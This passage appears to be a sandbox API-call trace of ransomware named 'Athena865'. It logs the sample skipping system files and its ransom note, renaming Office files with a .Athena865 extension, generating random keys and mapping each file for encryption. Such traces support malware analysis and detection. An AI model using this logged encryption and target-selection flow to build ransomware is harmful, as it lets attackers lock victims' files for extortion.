[0152.204] lstrcmpiW (lpString1="OLNOTE.FAE", lpString2=".sys") returned 1 [0152.204] lstrlenW (lpString="OLNOTE.FAE") returned 10 [0152.204] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.Athena865") returned 71 [0152.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.athena865"), dwFlags=0x1) returned 1 [0152.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.206] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52120) returned 1 [0152.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.207] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.207] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.207] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.208] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcea0, lpName=0x0) returned 0x154 [0152.209] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcea0) returned 0x100000 [0152.218] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.219] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.219] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.220] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.220] CloseHandle (hObject=0x154) returned 1 [0152.220] CloseHandle (hObject=0x17c) returned 1 [0152.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.221] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2=".") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="..") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="windows") returned -1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="bootmgr") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="temp") returned -1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="pagefile.sys") returned -1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="boot") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="ids.txt") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="ntuser.dat") returned 1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="perflogs") returned -1 [0152.221] lstrcmpiW (lpString1="OLTASK.FAE", lpString2="MSBuild") returned 1 [0152.221] lstrlenW (lpString="OLTASK.FAE") returned 10 [0152.222] lstrcpyW (in: lpString1=0x241e8ae, lpString2="OLTASK.FAE" | out: lpString1="OLTASK.FAE") returned="OLTASK.FAE" [0152.222] lstrlenW (lpString="OLTASK.FAE") returned 10 [0152.222] lstrlenW (lpString="Athena865") returned 9 [0152.222] lstrcmpiW (lpString1="LTASK.FAE", lpString2="Athena865") returned 1 [0152.222] lstrlenW (lpString=".dll") returned 4 [0152.222] lstrcmpiW (lpString1="OLTASK.FAE", lpString2=".dll") returned 1 [0152.222] lstrlenW (lpString=".lnk") returned 4 [0152.222] lstrcmpiW (lpString1="OLTASK.FAE", lpString2=".lnk") returned 1 [0152.222] lstrlenW (lpString=".ini") returned 4 [0152.222] lstrcmpiW (lpString1="OLTASK.FAE", lpString2=".ini") returned 1 [0152.222] lstrlenW (lpString=".sys") returned 4 [0152.222] lstrcmpiW (lpString1="OLTASK.FAE", lpString2=".sys") returned 1 [0152.222] lstrlenW (lpString="OLTASK.FAE") returned 10 [0152.222] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.Athena865") returned 71 [0152.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.athena865"), dwFlags=0x1) returned 1 [0152.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.224] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=115608) returned 1 [0152.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.224] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.225] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.225] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.225] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c6a0, lpName=0x0) returned 0x154 [0152.227] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c6a0) returned 0x100000 [0152.234] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.235] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.235] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.236] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.237] CloseHandle (hObject=0x154) returned 1 [0152.237] CloseHandle (hObject=0x17c) returned 1 [0152.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.238] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2=".") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="..") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="windows") returned -1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="bootmgr") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="temp") returned -1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="pagefile.sys") returned -1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="boot") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="ids.txt") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="ntuser.dat") returned 1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="perflogs") returned -1 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2="MSBuild") returned 1 [0152.238] lstrlenW (lpString="ORG97.SAM") returned 9 [0152.238] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ORG97.SAM" | out: lpString1="ORG97.SAM") returned="ORG97.SAM" [0152.238] lstrlenW (lpString="ORG97.SAM") returned 9 [0152.238] lstrlenW (lpString="Athena865") returned 9 [0152.238] lstrlenW (lpString=".dll") returned 4 [0152.238] lstrcmpiW (lpString1="ORG97.SAM", lpString2=".dll") returned 1 [0152.238] lstrlenW (lpString=".lnk") returned 4 [0152.239] lstrcmpiW (lpString1="ORG97.SAM", lpString2=".lnk") returned 1 [0152.239] lstrlenW (lpString=".ini") returned 4 [0152.239] lstrcmpiW (lpString1="ORG97.SAM", lpString2=".ini") returned 1 [0152.239] lstrlenW (lpString=".sys") returned 4 [0152.239] lstrcmpiW (lpString1="ORG97.SAM", lpString2=".sys") returned 1 [0152.239] lstrlenW (lpString="ORG97.SAM") returned 9 [0152.239] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.Athena865") returned 70 [0152.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.athena865"), dwFlags=0x1) returned 1 [0152.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.241] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50568) returned 1 [0152.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.242] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.242] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.243] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.243] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc890, lpName=0x0) returned 0x154 [0152.245] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc890) returned 0x100000 [0152.247] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.248] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.248] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.249] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.249] CloseHandle (hObject=0x154) returned 1 [0152.249] CloseHandle (hObject=0x17c) returned 1 [0152.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.250] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2=".") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="..") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="windows") returned -1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="bootmgr") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="temp") returned -1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="pagefile.sys") returned -1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="boot") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="ids.txt") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="ntuser.dat") returned 1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="perflogs") returned -1 [0152.250] lstrcmpiW (lpString1="PAB.SAM", lpString2="MSBuild") returned 1 [0152.250] lstrlenW (lpString="PAB.SAM") returned 7 [0152.250] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PAB.SAM" | out: lpString1="PAB.SAM") returned="PAB.SAM" [0152.250] lstrlenW (lpString="PAB.SAM") returned 7 [0152.250] lstrlenW (lpString="Athena865") returned 9 [0152.251] lstrlenW (lpString=".dll") returned 4 [0152.251] lstrcmpiW (lpString1="PAB.SAM", lpString2=".dll") returned 1 [0152.251] lstrlenW (lpString=".lnk") returned 4 [0152.251] lstrcmpiW (lpString1="PAB.SAM", lpString2=".lnk") returned 1 [0152.251] lstrlenW (lpString=".ini") returned 4 [0152.251] lstrcmpiW (lpString1="PAB.SAM", lpString2=".ini") returned 1 [0152.251] lstrlenW (lpString=".sys") returned 4 [0152.251] lstrcmpiW (lpString1="PAB.SAM", lpString2=".sys") returned 1 [0152.251] lstrlenW (lpString="PAB.SAM") returned 7 [0152.251] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.Athena865") returned 68 [0152.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.athena865"), dwFlags=0x1) returned 1 [0152.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.252] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=63864) returned 1 [0152.253] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.253] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.253] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.254] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfc80, lpName=0x0) returned 0x154 [0152.255] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfc80) returned 0x100000 [0152.259] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.260] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.260] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.262] lstrcpyW (in: lpString1=0x241e8ae, lpString2="RM.DLL" | out: lpString1="RM.DLL") returned="RM.DLL" [0152.262] lstrlenW (lpString="RM.DLL") returned 6 [0152.262] lstrlenW (lpString="Athena865") returned 9 [0152.262] lstrlenW (lpString=".dll") returned 4 [0152.262] lstrcmpiW (lpString1="RM.DLL", lpString2=".dll") returned 1 [0152.262] lstrlenW (lpString=".lnk") returned 4 [0152.262] lstrcmpiW (lpString1="RM.DLL", lpString2=".lnk") returned 1 [0152.262] lstrlenW (lpString=".ini") returned 4 [0152.262] lstrcmpiW (lpString1="RM.DLL", lpString2=".ini") returned 1 [0152.262] lstrlenW (lpString=".sys") returned 4 [0152.262] lstrcmpiW (lpString1="RM.DLL", lpString2=".sys") returned 1 [0152.262] lstrlenW (lpString="RM.DLL") returned 6 [0152.262] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.Athena865") returned 67 [0152.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.athena865"), dwFlags=0x1) returned 1 [0152.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.264] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99688) returned 1 [0152.264] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.265] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.265] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.265] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18870, lpName=0x0) returned 0x154 [0152.267] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18870) returned 0x100000 [0152.272] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.273] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.273] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.275] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TRANSMGR.DLL" | out: lpString1="TRANSMGR.DLL") returned="TRANSMGR.DLL" [0152.275] lstrlenW (lpString="TRANSMGR.DLL") returned 12 [0152.275] lstrlenW (lpString="Athena865") returned 9 [0152.275] lstrcmpiW (lpString1="NSMGR.DLL", lpString2="Athena865") returned 1 [0152.275] lstrlenW (lpString=".dll") returned 4 [0152.275] lstrcmpiW (lpString1="TRANSMGR.DLL", lpString2=".dll") returned 1 [0152.275] lstrlenW (lpString=".lnk") returned 4 [0152.275] lstrcmpiW (lpString1="TRANSMGR.DLL", lpString2=".lnk") returned 1 [0152.275] lstrlenW (lpString=".ini") returned 4 [0152.275] lstrcmpiW (lpString1="TRANSMGR.DLL", lpString2=".ini") returned 1 [0152.275] lstrlenW (lpString=".sys") returned 4 [0152.275] lstrcmpiW (lpString1="TRANSMGR.DLL", lpString2=".sys") returned 1 [0152.275] lstrlenW (lpString="TRANSMGR.DLL") returned 12 [0152.275] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.Athena865") returned 73 [0152.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll.athena865"), dwFlags=0x1) returned 1 [0152.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=130944) returned 1 [0152.278] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.278] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.278] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.279] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, 